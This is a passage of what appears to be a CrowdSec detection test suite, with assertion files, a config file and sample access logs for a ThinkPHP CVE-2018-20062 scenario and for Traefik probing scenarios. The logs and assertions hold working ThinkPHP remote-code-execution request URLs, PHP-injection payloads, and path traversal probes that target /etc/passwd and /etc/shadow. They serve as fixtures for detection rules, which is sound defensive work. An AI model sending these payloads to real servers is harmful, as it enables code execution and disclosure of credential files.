results[7].Overflow.Sources["192.168.1.1"].GetScope() == "Ip" results[7].Overflow.Sources["192.168.1.1"].GetValue() == "192.168.1.1" results[7].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[7].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[7].Overflow.Alert.Events[0].GetMeta("http_path") == "/?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1" results[7].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[7].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[7].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[7].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[7].Overflow.Alert.Events[0].GetMeta("service") == "http" results[7].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.1" results[7].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[7].Overflow.Alert.Remediation == true results[7].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/thinkphp-cve-2018-20062/thinkphp-cve-2018-20062.log000066400000000000000000000044771437532772500227710ustar00rootroot00000000000000192.168.1.1 - - [10/Dec/2021:14:41:40 +0100] "GET /?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1 HTTP/1.1" 200 3543 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.2 - - [10/Dec/2021:14:41:40 +0100] "GET /?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1 HTTP/1.1" 200 3543 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.3 - - [10/Dec/2021:14:41:40 +0100] "GET /public/?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1 HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.4 - - [10/Dec/2021:14:41:40 +0100] "GET /public/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1 HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.5 - - [10/Dec/2021:14:41:40 +0100] "GET /?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&content=%3C?php%20phpinfo();?%3E HTTP/1.1" 200 3543 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.6 - - [10/Dec/2021:14:41:40 +0100] "GET /public/?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&content=%3C?php%20phpinfo();?%3E HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 192.168.1.7 - - [10/Dec/2021:09:09:53 +0000] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.168.1.8 - - [13/Dec/2021:08:12:06 +0000] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.0" 200 4523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" hub1/.tests/traefik_base-http-scenario/000077500000000000000000000000001437532772500203515ustar00rootroot00000000000000hub1/.tests/traefik_base-http-scenario/config.yaml000066400000000000000000000006351437532772500225060ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/traefik-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-bad-user-agent - crowdsecurity/http-probing - crowdsecurity/http-path-traversal-probing - crowdsecurity/http-open-proxy postoverflows: - "" log_file: traefik_base-http-scenario.log log_type: traefik labels: {} ignore_parsers: true hub1/.tests/traefik_base-http-scenario/parser.assert000066400000000000000000000000001437532772500230560ustar00rootroot00000000000000hub1/.tests/traefik_base-http-scenario/scenario.assert000066400000000000000000000307231437532772500234040ustar00rootroot00000000000000len(results) == 4 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/594VAEoi.dtd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/594VAEoi.vts" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/594VAEoi.asp" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/594VAEoi.PRINT" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/594VAEoi.xtp" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/594VAEoi.php" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[6].GetMeta("http_path") == "/594VAEoi.pt-br" results[0].Overflow.Alert.Events[6].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[6].GetMeta("service") == "http" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[7].GetMeta("http_path") == "/594VAEoi.www_acl" results[0].Overflow.Alert.Events[7].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[7].GetMeta("service") == "http" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[8].GetMeta("http_path") == "/594VAEoi.orig" results[0].Overflow.Alert.Events[8].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[8].GetMeta("service") == "http" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[9].GetMeta("http_path") == "/594VAEoi.htw" results[0].Overflow.Alert.Events[9].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[9].GetMeta("service") == "http" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[10].GetMeta("http_path") == "/594VAEoi.json" results[0].Overflow.Alert.Events[10].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[10].GetMeta("service") == "http" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-probing" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11 "172.17.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[1].Overflow.Sources["172.17.0.1"].Range == "" results[1].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_args_len") == "22" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/toto?url=file:///etc/passwd" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("http_args_len") == "21" results[1].Overflow.Alert.Events[1].GetMeta("http_path") == "/toto?url=file:///etc/group" results[1].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[1].GetMeta("service") == "http" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("http_args_len") == "22" results[1].Overflow.Alert.Events[2].GetMeta("http_path") == "/toto?url=file:///etc/shadow" results[1].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[2].GetMeta("service") == "http" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("http_args_len") == "27" results[1].Overflow.Alert.Events[3].GetMeta("http_path") == "/toto?azda=file//../../etc/passwd" results[1].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[3].GetMeta("service") == "http" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/http-path-traversal-probing" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 4 "172.17.0.1" in results[2].Overflow.GetSources() results[2].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[2].Overflow.Sources["172.17.0.1"].Range == "" results[2].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[2].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/594VAEoi.local" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/http-open-proxy" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 "172.17.0.1" in results[3].Overflow.GetSources() results[3].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[3].Overflow.Sources["172.17.0.1"].Range == "" results[3].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[3].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[3].Overflow.Alert.Events[0].GetMeta("http_path") == "/594VAEoi.dtd" results[3].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[3].Overflow.Alert.Events[0].GetMeta("service") == "http" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[3].Overflow.Alert.Events[1].GetMeta("datasource_path") == "traefik_base-http-scenario.log" results[3].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[1].GetMeta("http_args_len") == "0" results[3].Overflow.Alert.Events[1].GetMeta("http_path") == "/594VAEoi.vts" results[3].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[3].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[3].Overflow.Alert.Events[1].GetMeta("service") == "http" results[3].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[3].Overflow.Alert.GetScenario() == "crowdsecurity/http-bad-user-agent" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 2 hub1/.tests/traefik_base-http-scenario/traefik_base-http-scenario.log000066400000000000000000003433171437532772500262640ustar00rootroot00000000000000{"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":215563,"OriginContentSize":356,"OriginDuration":204708,"OriginStatus":200,"Overhead":10855,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":113,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.dtd","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.464763557Z","StartUTC":"2021-12-08T14:02:43.464763557Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":221071,"OriginContentSize":356,"OriginDuration":208300,"OriginStatus":200,"Overhead":12771,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":114,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.vts","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.465823955Z","StartUTC":"2021-12-08T14:02:43.465823955Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":293192,"OriginContentSize":356,"OriginDuration":282825,"OriginStatus":200,"Overhead":10367,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":115,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.asp","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.466922116Z","StartUTC":"2021-12-08T14:02:43.466922116Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":404,"Duration":203756,"OriginContentSize":358,"OriginDuration":191877,"OriginStatus":200,"Overhead":11879,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":116,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.PRINT","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.468106619Z","StartUTC":"2021-12-08T14:02:43.468106619Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":236283,"OriginContentSize":356,"OriginDuration":222687,"OriginStatus":200,"Overhead":13596,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":117,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.xtp","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.469215968Z","StartUTC":"2021-12-08T14:02:43.469215968Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":250311,"OriginContentSize":356,"OriginDuration":219964,"OriginStatus":200,"Overhead":30347,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":118,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.php","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.470341085Z","StartUTC":"2021-12-08T14:02:43.470341085Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":404,"Duration":862057,"OriginContentSize":358,"OriginDuration":826299,"OriginStatus":200,"Overhead":35758,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":119,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.pt-br","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.472306221Z","StartUTC":"2021-12-08T14:02:43.472306221Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":360,"DownstreamStatus":404,"Duration":257280,"OriginContentSize":360,"OriginDuration":241167,"OriginStatus":200,"Overhead":16113,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":120,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.www_acl","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.474329482Z","StartUTC":"2021-12-08T14:02:43.474329482Z","downstream_Content-Length":"360","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"360","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} 